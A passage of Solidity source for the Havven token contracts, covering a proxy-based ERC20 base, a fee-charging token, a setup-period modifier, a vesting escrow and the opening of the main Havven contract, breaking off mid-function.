Dominic Romanowski
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A partial ERC20 token contract, designed to operate with a proxy.
To produce a complete ERC20 token, transfer and transferFrom
tokens must be implemented, using the provided _byProxy internal
functions.
This contract utilises an external state for upgradeability.
-----------------------------------------------------------------
*/
/**
* @title ERC20 Token contract, with detached state and designed to operate behind a proxy.
*/
contract ExternStateToken is SafeDecimalMath, SelfDestructible, Proxyable {
/* ========== STATE VARIABLES ========== */
/* Stores balances and allowances. */
TokenState public tokenState;
/* Other ERC20 fields.
* Note that the decimals field is defined in SafeDecimalMath.*/
string public name;
string public symbol;
uint public totalSupply;
/**
* @dev Constructor.
* @param _proxy The proxy associated with this contract.
* @param _name Token's ERC20 name.
* @param _symbol Token's ERC20 symbol.
* @param _totalSupply The total supply of the token.
* @param _tokenState The TokenState contract address.
* @param _owner The owner of this contract.
*/
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
tokenState = _tokenState;
}
/* ========== VIEWS ========== */
/**
* @notice Returns the ERC20 allowance of one party to spend on behalf of another.
* @param owner The party authorising spending of their funds.
* @param spender The party spending tokenOwner's funds.
*/
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
/**
* @notice Returns the ERC20 token balance of a given account.
*/
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Set the address of the TokenState contract.
* @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000..
* as balances would be unreachable.
*/
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value)
internal
returns (bool)
{
/* Disallow transfers to irretrievable-addresses. */
require(to != address(0));
require(to != address(this));
require(to != address(proxy));
/* Insufficient balance will be handled by the safe subtraction. */
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), value));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), value));
emitTransfer(from, to, value);
return true;
}
/**
* @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing
* the onlyProxy or optionalProxy modifiers.
*/
function _transfer_byProxy(address from, address to, uint value)
internal
returns (bool)
{
return _internalTransfer(from, to, value);
}
/**
* @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions
* possessing the optionalProxy or optionalProxy modifiers.
*/
function _transferFrom_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
/* Insufficient allowance will be handled by the safe subtraction. */
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, value);
}
/**
* @notice Approves spender to transfer on the message sender's behalf.
*/
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
/* ========== EVENTS ========== */
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: FeeToken.sol
version: 1.3
author: Anton Jurisevic
Dominic Romanowski
Kevin Brown
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A token which also has a configurable fee rate
charged on its transfers. This is designed to be overridden in
order to produce an ERC20-compliant token.
These fees accrue into a pool, from which a nominated authority
may withdraw.
This contract utilises an external state for upgradeability.
-----------------------------------------------------------------
*/
/**
* @title ERC20 Token contract, with detached state.
* Additionally charges fees on each transfer.
*/
contract FeeToken is ExternStateToken {
/* ========== STATE VARIABLES ========== */
/* ERC20 members are declared in ExternStateToken. */
/* A percentage fee charged on each transfer. */
uint public transferFeeRate;
/* Fee may not exceed 10%. */
uint constant MAX_TRANSFER_FEE_RATE = UNIT / 10;
/* The address with the authority to distribute fees. */
address public feeAuthority;
/* The address that fees will be pooled in. */
address public constant FEE_ADDRESS = 0xfeefeefeefeefeefeefeefeefeefeefeefeefeef;
/* ========== CONSTRUCTOR ========== */
/**
* @dev Constructor.
* @param _proxy The proxy associated with this contract.
* @param _name Token's ERC20 name.
* @param _symbol Token's ERC20 symbol.
* @param _totalSupply The total supply of the token.
* @param _transferFeeRate The fee rate to charge on transfers.
* @param _feeAuthority The address which has the authority to withdraw fees from the accumulated pool.
* @param _owner The owner of this contract.
*/
constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply,
uint _transferFeeRate, address _feeAuthority, address _owner)
ExternStateToken(_proxy, _tokenState,
_name, _symbol, _totalSupply,
_owner)
public
{
feeAuthority = _feeAuthority;
/* Constructed transfer fee rate should respect the maximum fee rate. */
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE);
transferFeeRate = _transferFeeRate;
}
/* ========== SETTERS ========== */
/**
* @notice Set the transfer fee, anywhere within the range 0-10%.
* @dev The fee rate is in decimal format, with UNIT being the value of 100%.
*/
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE);
transferFeeRate = _transferFeeRate;
emitTransferFeeRateUpdated(_transferFeeRate);
}
/**
* @notice Set the address of the user/contract responsible for collecting or
* distributing fees.
*/
function setFeeAuthority(address _feeAuthority)
public
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
/* ========== VIEWS ========== */
/**
* @notice Calculate the Fee charged on top of a value being sent
* @return Return the fee charged
*/
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return safeMul_dec(value, transferFeeRate);
/* Transfers less than the reciprocal of transferFeeRate should be completely eaten up by fees.
* This is on the basis that transfers less than this value will result in a nil fee.
* Probably too insignificant to worry about, but the following code will achieve it.
* if (fee == 0 && transferFeeRate != 0) {
* return _value;
* }
* return fee;
*/
}
/**
* @notice The value that you would need to send so that the recipient receives
* a specified value.
*/
function transferPlusFee(uint value)
external
view
returns (uint)
{
return safeAdd(value, transferFeeIncurred(value));
}
/**
* @notice The amount the recipient will receive if you send a certain number of tokens.
*/
function amountReceived(uint value)
public
view
returns (uint)
{
return safeDiv_dec(value, safeAdd(UNIT, transferFeeRate));
}
/**
* @notice Collected fees sit here until they are distributed.
* @dev The balance of the nomin contract itself is the fee pool.
*/
function feePool()
external
view
returns (uint)
{
return tokenState.balanceOf(FEE_ADDRESS);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Base of transfer functions
*/
function _internalTransfer(address from, address to, uint amount, uint fee)
internal
returns (bool)
{
/* Disallow transfers to irretrievable-addresses. */
require(to != address(0));
require(to != address(this));
require(to != address(proxy));
/* Insufficient balance will be handled by the safe subtraction. */
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), safeAdd(amount, fee)));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), amount));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), fee));
/* Emit events for both the transfer itself and the fee. */
emitTransfer(from, to, amount);
emitTransfer(from, FEE_ADDRESS, fee);
return true;
}
/**
* @notice ERC20 friendly transfer function.
*/
function _transfer_byProxy(address sender, address to, uint value)
internal
returns (bool)
{
uint received = amountReceived(value);
uint fee = safeSub(value, received);
return _internalTransfer(sender, to, received, fee);
}
/**
* @notice ERC20 friendly transferFrom function.
*/
function _transferFrom_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
/* The fee is deducted from the amount sent. */
uint received = amountReceived(value);
uint fee = safeSub(value, received);
/* Reduce the allowance by the amount we're transferring.
* The safeSub call will handle an insufficient allowance. */
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, received, fee);
}
/**
* @notice Ability to transfer where the sender pays the fees (not ERC20)
*/
function _transferSenderPaysFee_byProxy(address sender, address to, uint value)
internal
returns (bool)
{
/* The fee is added to the amount sent. */
uint fee = transferFeeIncurred(value);
return _internalTransfer(sender, to, value, fee);
}
/**
* @notice Ability to transferFrom where they sender pays the fees (not ERC20).
*/
function _transferFromSenderPaysFee_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
/* The fee is added to the amount sent. */
uint fee = transferFeeIncurred(value);
uint total = safeAdd(value, fee);
/* Reduce the allowance by the amount we're transferring. */
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), total));
return _internalTransfer(from, to, value, fee);
}
/**
* @notice Withdraw tokens from the fee pool into a given account.
* @dev Only the fee authority may call this.
*/
function withdrawFees(address account, uint value)
external
onlyFeeAuthority
returns (bool)
{
require(account != address(0));
/* 0-value withdrawals do nothing. */
if (value == 0) {
return false;
}
/* Safe subtraction ensures an exception is thrown if the balance is insufficient. */
tokenState.setBalanceOf(FEE_ADDRESS, safeSub(tokenState.balanceOf(FEE_ADDRESS), value));
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), value));
emitFeesWithdrawn(account, value);
emitTransfer(FEE_ADDRESS, account, value);
return true;
}
/**
* @notice Donate tokens from the sender's balance into the fee pool.
*/
function donateToFeePool(uint n)
external
optionalProxy
returns (bool)
{
address sender = messageSender;
/* Empty donations are disallowed. */
uint balance = tokenState.balanceOf(sender);
require(balance != 0);
/* safeSub ensures the donor has sufficient balance. */
tokenState.setBalanceOf(sender, safeSub(balance, n));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), n));
emitFeesDonated(sender, n);
emitTransfer(sender, FEE_ADDRESS, n);
return true;
}
/* ========== MODIFIERS ========== */
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority);
_;
}
/* ========== EVENTS ========== */
event TransferFeeRateUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEERATEUPDATED_SIG = keccak256("TransferFeeRateUpdated(uint256)");
function emitTransferFeeRateUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEERATEUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event FeesDonated(address indexed donor, uint value);
bytes32 constant FEESDONATED_SIG = keccak256("FeesDonated(address,uint256)");
function emitFeesDonated(address donor, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESDONATED_SIG, bytes32(donor), 0, 0);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: LimitedSetup.sol
version: 1.1
author: Anton Jurisevic
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A contract with a limited setup period. Any function modified
with the setup modifier will cease to work after the
conclusion of the configurable-length post-construction setup period.
-----------------------------------------------------------------
*/
/**
* @title Any function decorated with the modifier this contract provides
* deactivates after a specified setup period.
*/
contract LimitedSetup {
uint setupExpiryTime;
/**
* @dev LimitedSetup Constructor.
* @param setupDuration The time the setup period will last for.
*/
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime);
_;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: HavvenEscrow.sol
version: 1.1
author: Anton Jurisevic
Dominic Romanowski
Mike Spain
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract allows the foundation to apply unique vesting
schedules to havven funds sold at various discounts in the token
sale. HavvenEscrow gives users the ability to inspect their
vested funds, their quantities and vesting dates, and to withdraw
the fees that accrue on those funds.
The fees are handled by withdrawing the entire fee allocation
for all havvens inside the escrow contract, and then allowing
the contract itself to subdivide that pool up proportionally within
itself. Every time the fee period rolls over in the main Havven
contract, the HavvenEscrow fee pool is remitted back into the
main fee pool to be redistributed in the next fee period.
-----------------------------------------------------------------
*/
/**
* @title A contract to hold escrowed havvens and free them at given schedules.
*/
contract HavvenEscrow is SafeDecimalMath, Owned, LimitedSetup(8 weeks) {
/* The corresponding Havven contract. */
Havven public havven;
/* Lists of (timestamp, quantity) pairs per account, sorted in ascending time order.
* These are the times at which each given quantity of havvens vests. */
mapping(address => uint[2][]) public vestingSchedules;
/* An account's total vested havven balance to save recomputing this for fee extraction purposes. */
mapping(address => uint) public totalVestedAccountBalance;
/* The total remaining vested balance, for verifying the actual havven balance of this contract against. */
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
/* Limit vesting entries to disallow unbounded iteration over vesting schedules. */
uint constant MAX_VESTING_ENTRIES = 20;
/* ========== CONSTRUCTOR ========== */
constructor(address _owner, Havven _havven)
Owned(_owner)
public
{
havven = _havven;
}
/* ========== SETTERS ========== */
function setHavven(Havven _havven)
external
onlyOwner
{
havven = _havven;
emit HavvenUpdated(_havven);
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice A simple alias to totalVestedAccountBalance: provides ERC20 balance integration.
*/
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
/**
* @notice The number of vesting dates in an account's schedule.
*/
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
/**
* @notice Get a particular schedule entry for an account.
* @return A pair of uints: (timestamp, havven quantity).
*/
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
/**
* @notice Get the time at which a given schedule entry will vest.
*/
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
/**
* @notice Get the quantity of havvens associated with a given schedule entry.
*/
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
/**
* @notice Obtain the index of the next schedule entry that will vest for a given user.
*/
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
/**
* @notice Obtain the next schedule entry that will vest for a given user.
* @return A pair of uints: (timestamp, havven quantity). */
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
/**
* @notice Obtain the time at which the next schedule entry will vest for a given user.
*/
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
/**
* @notice Obtain the quantity which the next schedule entry will vest for a given user.
*/
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Withdraws a quantity of havvens back to the havven contract.
* @dev This may only be called by the owner during the contract's setup period.
*/
function withdrawHavvens(uint quantity)
external
onlyOwner
onlyDuringSetup
{
havven.transfer(havven, quantity);
}
/**
* @notice Destroy the vesting information associated with an account.
*/
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = safeSub(totalVestedBalance, totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
/**
* @notice Add a new vesting entry at a given time and quantity to an account's schedule.
* @dev A call to this should be accompanied by either enough balance already available
* in this contract, or a corresponding call to havven.endow(), to ensure that when
* the funds are withdrawn, there is enough balance, as well as correctly calculating
* the fees.
* This may only be called by the owner during the contract's setup period.
* Note; although this function could technically be used to produce unbounded
* arrays, it's only in the foundation's command to add to these lists.
* @param account The account to append a new vesting entry to.
* @param time The absolute unix timestamp after which the vested quantity may be withdrawn.
* @param quantity The quantity of havvens that will vest.
*/
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
/* No empty or already-passed vesting entries allowed. */
require(now < time);
require(quantity != 0);
/* There must be enough balance in the contract to provide for the vesting entry. */
totalVestedBalance = safeAdd(totalVestedBalance, quantity);
require(totalVestedBalance <= havven.balanceOf(this));
/* Disallow arbitrarily long vesting schedules in light of the gas limit. */
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES);
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
/* Disallow adding new vested havvens earlier than the last one.
* Since entries are only appended, this means that no vesting date can be repeated. */
require(getVestingTime(account, numVestingEntries(account) - 1) < time);
totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity);
}
vestingSchedules[account].push([time, quantity]);
}
/**
* @notice Construct a vesting schedule to release a quantities of havvens
* over a series of intervals.
* @dev Assumes that the quantities are nonzero
* and that the sequence of timestamps is strictly increasing.
* This may only be called by the owner during the contract's setup period.
*/
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
/**
* @notice Allow a user to withdraw any havvens in their schedule that have vested.
*/
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
/* The list is sorted; when we reach the first future time, bail out. */
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = safeAdd(total, qty);
}
if (total != 0) {
totalVestedBalance = safeSub(totalVestedBalance, total);
totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], total);
havven.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
/* ========== EVENTS ========== */
event HavvenUpdated(address newHavven);
event Vested(address indexed beneficiary, uint time, uint value);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Havven.sol
version: 1.2
author: Anton Jurisevic
Dominic Romanowski
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Havven token contract. Havvens are transferable ERC20 tokens,
and also give their holders the following privileges.
An owner of havvens may participate in nomin confiscation votes, they
may also have the right to issue nomins at the discretion of the
foundation for this version of the contract.
After a fee period terminates, the duration and fees collected for that
period are computed, and the next period begins. Thus an account may only
withdraw the fees owed to them for the previous period, and may only do
so once per period. Any unclaimed fees roll over into the common pot for
the next period.
== Average Balance Calculations ==
The fee entitlement of a havven holder is proportional to their average
issued nomin balance over the last fee period. This is computed by
measuring the area under the graph of a user's issued nomin balance over
time, and then when a new fee period begins, dividing through by the
duration of the fee period.
We need only update values when the balances of an account is modified.
This occurs when issuing or burning for issued nomin balances,
and when transferring for havven balances. This is for efficiency,
and adds an implicit friction to interacting with havvens.
A havven holder pays for his own recomputation whenever he wants to change
his position, which saves the foundation having to maintain a pot dedicated
to resourcing this.
A hypothetical user's balance history over one fee period, pictorially:
s ____
| |
| |___ p
|____|___|___ __ _ _
f t n
Here, the balance was s between times f and t, at which time a transfer
occurred, updating the balance to p, until n, when the present transfer occurs.
When a new transfer occurs at time n, the balance being p,
we must:
- Add the area p * (n - t) to the total area recorded so far
- Update the last transfer time to n
So if this graph represents the entire current fee period,
the average havvens held so far is ((t-f)*s + (n-t)*p) / (n-f).
The complementary computations must be performed for both sender and
recipient.
Note that a transfer keeps global supply of havvens invariant.
The sum of all balances is constant, and unmodified by any transfer.
So the sum of all balances multiplied by the duration of a fee period is also
constant, and this is equivalent to the sum of the area of every user's
time/balance graph. Dividing through by that duration yields back the total
havven supply. So, at the end of a fee period, we really do yield a user's
average share in the havven supply over that period.
A slight wrinkle is introduced if we consider the time r when the fee period
rolls over. Then the previous fee period k-1 is before r, and the current fee
period k is afterwards. If the last transfer took place before r,
but the latest transfer occurred afterwards:
k-1 | k
s __|_
| | |
| | |____ p
|__|_|____|___ __ _ _
|
f | t n
r
In this situation the area (r-f)*s contributes to fee period k-1, while
the area (t-r)*s contributes to fee period k. We will implicitly consider a
zero-value transfer to have occurred at time r. Their fee entitlement for the
previous period will be finalised at the time of their first transfer during the
current fee period, or when they query or withdraw their fee entitlement.
In the implementation, the duration of different fee periods may be slightly irregular,
as the check that they have rolled over occurs only when state-changing havven
operations are performed.
== Issuance and Burning ==
In this version of the havven contract, nomins can only be issued by
those that have been nominated by the havven foundation. Nomins are assumed
to be valued at $1, as they are a stable unit of account.
All nomins issued require a proportional value of havvens to be locked,
where the proportion is governed by the current issuance ratio. This
means for every $1 of Havvens locked up, $(issuanceRatio) nomins can be issued.
i.e. to issue 100 nomins, 100/issuanceRatio dollars of havvens need to be locked up.
To determine the value of some amount of havvens(H), an oracle is used to push
the price of havvens (P_H) in dollars to the contract. The value of H
would then be: H * P_H.
Any havvens that are locked up by this issuance process cannot be transferred.
The amount that is locked floats based on the price of havvens. If the price
of havvens moves up, less havvens are locked, so they can be issued against,
or transferred freely. If the price of havvens moves down, more havvens are locked,
even going above the initial wallet balance.
-----------------------------------------------------------------
*/
/**
* @title Havven ERC20 contract.
* @notice The Havven contracts does not only facilitate transfers and track balances,
* but it also computes the quantity of fees each havven holder is entitled to.
*/
contract Havven is ExternStateToken {
/* ========== STATE VARIABLES ========== */
/* A struct for handing values associated with average balance calculations */
struct IssuanceData {
/* Sums of balances*duration in the current fee period.
/* range: decimals; units: havven-seconds */
uint currentBalanceSum;
/* The last period's average balance */
uint lastAverageBalance;
/* The last time the data was calculated */
uint lastModified;
}
/* Issued nomin balances for individual fee entitlements */
mapping(address => IssuanceData) public issuanceData;
/* The total number of issued nomins for determining fee entitlements */
IssuanceData public totalIssuanceData;
/* The time the current fee period began */
uint public feePeriodStartTime;
/* The time the last fee period began */
uint public lastFeePeriodStartTime;
/* Fee periods will roll over in no shorter a time than this.
* The fee period cannot actually roll over until a fee-relevant
* operation such as withdrawal or a fee period duration update occurs,
* so this is just a target, and the actual duration may be slightly longer. */
uint public feePeriodDuration = 4 weeks;
/* ...and must target between 1 day and six months. */
uint constant MIN_FEE_PERIOD_DURATION = 1 days;
uint constant MAX_FEE_PERIOD_DURATION = 26 weeks;
/* The quantity of nomins that were in the fee pot at the time */
/* of the last fee rollover, at feePeriodStartTime. */
uint public lastFeesCollected;
/* Whether a user has withdrawn their last fees */
mapping(address => bool) public hasWithdrawnFees;
Nomin public nomin;
HavvenEscrow public escrow;
/* The address of the oracle which pushes the havven price to this contract */
address public oracle;
/* The price of havvens written in UNIT */
uint public price;
/* The time the havven price was last updated */
uint public lastPriceUpdateTime;
/* How long will the contract assume the price of havvens is correct */
uint public priceStalePeriod = 3 hours;
/* A quantity of nomins greater than this ratio
* may not be issued against a given value of havvens. */
uint public issuanceRatio = UNIT / 5;
/* No more nomins may be issued than the value of havvens backing them. */
uint constant MAX_ISSUANCE_RATIO = UNIT;
/* Whether the address can issue nomins or not. */
mapping(address => bool) public isIssuer;
/* The number of currently-outstanding nomins the user has issued. */
mapping(address => uint) public nominsIssued;
uint constant HAVVEN_SUPPLY = 1e8 * UNIT;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
string constant TOKEN_NAME = "Havven";
string constant TOKEN_SYMBOL = "HAV";
/* ========== CONSTRUCTOR ========== */
/**
* @dev Constructor
* @param _tokenState A pre-populated contract containing token balances.
* If the provided address is 0x0, then a fresh one will be constructed with the contract owning all tokens.
* @param _owner The owner of this contract.
*/
constructor(address _proxy, TokenState _tokenState, address _owner, address _oracle,
uint _price, address[] _issuers, Havven _oldHavven)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, HAVVEN_SUPPLY, _owner)
public
{
oracle = _oracle;
price = _price;
lastPriceUpdateTime = now;
uint i;
if (_oldHavven == address(0)) {
feePeriodStartTime = now;
lastFeePeriodStartTime = now - feePeriodDuration;
for (i = 0; i < _issuers.length; i++) {
isIssuer[_issuers[i]] = true;
}
} else {
feePeriodStartTime = _oldHavven.feePeriodStartTime();
lastFeePeriodStartTime = _oldHavven.lastFeePeriodStartTime();
uint cbs;
uint lab;
uint lm;
(cbs, lab, lm) = _oldHavven.totalIssuanceData();
totalIssuanceData.currentBalanceSum = cbs;
totalIssuanceData.lastAverageBalance = lab;
totalIssuanceData.lastModified = lm;
for (i = 0; i < _issuers.length; i++) {
address issuer = _issuers[i];
isIssuer[issuer] = true;
uint nomins = _oldHavven.nominsIssued(issuer);
if (nomins == 0) {
// It is not valid in general to skip those with no currently-issued nomins.
// But for this release, issuers with nonzero issuanceData have current issuance.
continue;
}
(cbs, lab, lm) = _oldHavven.issuanceData(issuer);
nominsIssued[issuer] = nomins;
issuanceData[issuer].currentBalanceSum = cbs;
issuanceData[issuer].lastAverageBalance = lab;
issuanceData[issuer].lastModified = lm;
}
}
}
/* ========== SETTERS ========== */
/**
* @notice Set the associated Nomin contract to collect fees from.
* @dev Only the contract owner may call this.
*/
function setNomin(Nomin _nomin)
external
optionalProxy_onlyOwner
{
nomin = _nomin;
emitNominUpdated(_nomin);
}
/**
* @notice Set the associated havven escrow contract.
* @dev Only the contract owner may call this.
*/
function setEscrow(HavvenEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
emitEscrowUpdated(_escrow);
}
/**
* @notice Set the targeted fee period duration.
* @dev Only callable by the contract owner. The duration must fall within
* acceptable bounds (1 day to 26 weeks). Upon resetting this the fee period
* may roll over if the target duration was shortened sufficiently.
*/
function setFeePeriodDuration(uint duration)
external
optionalProxy_onlyOwner
{
require(MIN_FEE_PERIOD_DURATION <= duration &&
duration <= MAX_FEE_PERIOD_DURATION);
feePeriodDuration = duration;
emitFeePeriodDurationUpdated(duration);
rolloverFeePeriodIfElapsed();
}
/**
* @notice Set the Oracle that pushes the havven price to this contract
*/
function setOracle(address _oracle)
external
optionalProxy_onlyOwner
{
oracle = _oracle;
emitOracleUpdated(_oracle);
}
/**
* @notice Set the stale period on the updated havven price
* @dev No max/minimum, as changing it wont influence anything but issuance by the foundation
*/
function setPriceStalePeriod(uint time)
external
optionalProxy_onlyOwner
{
priceStalePeriod = time;
}
/**
* @notice Set the issuanceRatio for issuance calculations.
* @dev Only callable by the contract owner.
*/
function setIssuanceRatio(uint _issuanceRatio)
external
optionalProxy_onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO);
issuanceRatio = _issuanceRatio;
emitIssuanceRatioUpdated(_issuanceRatio);
}
/**
* @notice Set whether the specified can issue nomins or not.
*/
function setIssuer(address account, bool value)
external
optionalProxy_onlyOwner
{
isIssuer[account] = value;
emitIssuersUpdated(account, value);
}
/* ========== VIEWS ========== */
function issuanceCurrentBalanceSum(address account)
external
view
returns (uint)
{
return issuanceData[account].currentBalanceSum;
}
function issuanceLastAverageBalance(address account)
external
view
returns (uint)
{
return issuanceData[account].lastAverageBalance;
}
function issuanceLastModified(address account)
external
view
returns (uint)
{
return issuanceData[account].lastModified;
}
function totalIssuanceCurrentBalanceSum()
external
view
returns (uint)
{
return totalIssuanceData.currentBalanceSum;
}
function totalIssuanceLastAverageBalance()
external
view
returns (uint)
{
return totalIssuanceData.lastAverageBalance;
}
function totalIssuanceLastModified()
external
view
returns (uint)
{
return totalIssuanceData.lastModified;
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice ERC20 transfer function.
*/
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[sender] == 0 || value <= transferableHavvens(sender));
/* Perform the transfer: if there is a problem,
* an exception will be thrown in this call. */
_transfer_byProxy(sender, to, value);
return true;
}
/**
* @notice ERC20 transferFrom function.
*/
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[from] == 0 || value <= transferableHavvens(from));
/* Perform the transfer: if there is a problem,
* an exception will be thrown in this call. */
_transferFrom_byProxy(sender, from, to, value);
return true;
}
/**
* @notice Compute the last period's fee entitlement for the message sender
* and then deposit it into their nomin account.
*/
function withdrawFees()
external
optionalProxy
{
address sender = messageSender;
rolloverFeePeriodIfElapsed();
/* Do not deposit fees into frozen accounts. */
require(!nomin.frozen(sender));
/* Check the period has rolled over first. */
updateIssuanceData(sender, nominsIssued[sender], nomin.totalSupply());
/* Only allow accounts to withdraw fees once per period. */
require(!hasWithdrawnFees[sender]);
uint feesOwed;
uint lastTotalIssued = totalIssuanceData.lastAverageBalance;
if (lastTotalIssued > 0) {
